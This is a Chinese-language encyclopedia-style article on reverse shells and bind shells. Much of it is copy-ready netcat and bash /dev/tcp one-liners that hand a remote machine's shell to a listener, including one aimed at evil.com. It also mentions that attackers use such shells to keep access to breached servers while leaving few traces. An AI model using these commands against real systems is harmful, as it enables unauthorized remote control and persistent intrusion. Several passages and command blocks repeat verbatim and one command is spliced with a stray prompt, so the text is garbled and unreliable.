反向shell(Reverse shell)是一種往遠程機器傳送shell命令的技術,當遠程機器處在防火牆等其它東西後面時,這種技術會變得非常有用。你也許會說,“一個普通的shell或簡單的SSH通道不是也能實現這些嗎?”不,無法實現。在網上,我看到很多人對普通shell和反向shell之間的區別分不清。
基本介紹
- 中文名:反向shell
- 外文名:Reverse shell
反向Shell,BindShell,環境要求,監聽shell,
反向Shell
反向shell的工作方式是遠程計算機將自己的shell傳送給特定的用戶,而不是將shell綁定到一個連線埠上。後者在很多環境中是無法訪問的。這樣,你就可以對遠程伺服器執行root命令。
BindShell
bind shell是用戶用BASH,將shell綁定到一個本地連線埠上,這樣任何人都可以在本地網路中傳送命令。
反向shell經常會被黑客用來做一些不法行為,例如入侵了一台伺服器後,他們會設定一個反向shell,將來他們就能通過這個shell輕鬆的訪問這台遠程計算機。我相信你是不會用它來做這種事情的。
反向shell經常會被黑客用來做一些不法行為,例如入侵了一台伺服器後,他們會設定一個反向shell,將來他們就能通過這個shell輕鬆的訪問這台遠程計算機。我相信你是不會用它來做這種事情的。
環境要求
遠程Unix主機
安裝了netcat
使用NetCat實現反向shell互動
當通過shell登錄到遠程主機後,下面的指令能輕鬆的將shell傳送到你的機器上:
nc -c /bin/sh <你的IP> <任何一個未封鎖的連線埠>
你甚至能通過netcat來pipe BASH。
/bin/sh | nc <你的IP> <任何未封鎖的連線埠>
然後監聽這個shell:
nc -l -p <相同的連線埠> -vvv
通過BASH實現反向shell
這種技術是當遠程機器上沒有netcat或你想做一些非自然的事情而不想留下太重的痕跡時使用。
安裝了netcat
使用NetCat實現反向shell互動
當通過shell登錄到遠程主機後,下面的指令能輕鬆的將shell傳送到你的機器上:
nc -c /bin/sh <你的IP> <任何一個未封鎖的連線埠>
你甚至能通過netcat來pipe BASH。
/bin/sh | nc <你的IP> <任何未封鎖的連線埠>
然後監聽這個shell:
nc -l -p <相同的連線埠> -vvv
通過BASH實現反向shell
這種技術是當遠程機器上沒有netcat或你想做一些非自然的事情而不想留下太重的痕跡時使用。
監聽shell
nc -l -p <任何未封鎖的連線埠> -vvv
先創建一個新的描述符,分配到一個網路節點。這樣我們可以對這個描述符進行讀寫。
exec 5<>/dev/tcp/evil.com/<相同的連線埠> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一個反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的連線埠>; sh <&196 >&196 2>&196
先創建一個新的描述符,分配到一個網路節點。這樣我們可以對這個描述符進行讀寫。
exec 5<>/dev/tcp/evil.com/<相同的連線埠> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一個反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的連線埠>; sh <&196 >&196 2>&196